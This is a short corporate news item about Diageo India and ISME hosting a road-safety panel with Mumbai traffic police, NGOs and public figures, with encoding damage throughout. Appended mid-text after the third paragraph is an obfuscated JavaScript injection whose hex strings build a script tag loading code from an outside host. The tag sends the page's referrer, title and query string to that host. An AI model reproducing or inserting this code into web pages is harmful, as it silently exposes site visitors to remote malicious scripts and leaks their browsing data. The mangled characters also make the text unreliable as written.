Diageo India and Indian School of Management & Entrepreneurship (ISME) collaborate for Road Safety in India

Diageo India is the countrya��s leading beverage alcohol company and a subsidiary of global leader Diageo plc. The company manufactures, sells and distributes an outstanding portfolio of premium brands such as Johnnie Walker, Black Dog, Black & White, VAT 69, Antiquity, Signature, Royal Challenge, McDowella��s No.1, Smirnoff, Captain Morgan and Four Seasons.

On the occasion of National Road Safety Week,A�Indian School of Management & Entrepreneurship (ISME)A�andA�Diageo IndiaA�hosted a panel discussion in collaboration with NDTV to deliberate on solutions and share best practices and learnings that will help address the issues of road safety in India. The discussion saw various insights coming from panel members -A�Mr. Amitesh Kumar, Joint Commissioner Police, Mumbai Traffic Police; Dr. Indu Shahani, President and Chair, ISME; Abanti Sankaranarayanan, Chief Strategy & Corporate Affair Officer, Diageo India; renowned writer and columnist Mr. Anil Dharker and Bollywood Actor Mr. Nasir Abdullah.A�Also present at the event were NGOs includingA�United for Mumbai, Road Safety Foundation and CII Young Indians, who have been consistently working towards the cause of road safety.

Addressing the appalling state of road accidents in the country, the guests at the panel discussed different issues affecting the safety of Indian citizens on roads within the cities and national highways. Participants also discussed the menace of Drink Driving, increasing number of deaths on national highways due to irresponsible driving, strengthening licensing mechanism and the role of youth in overcoming the problem of road crashes.var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

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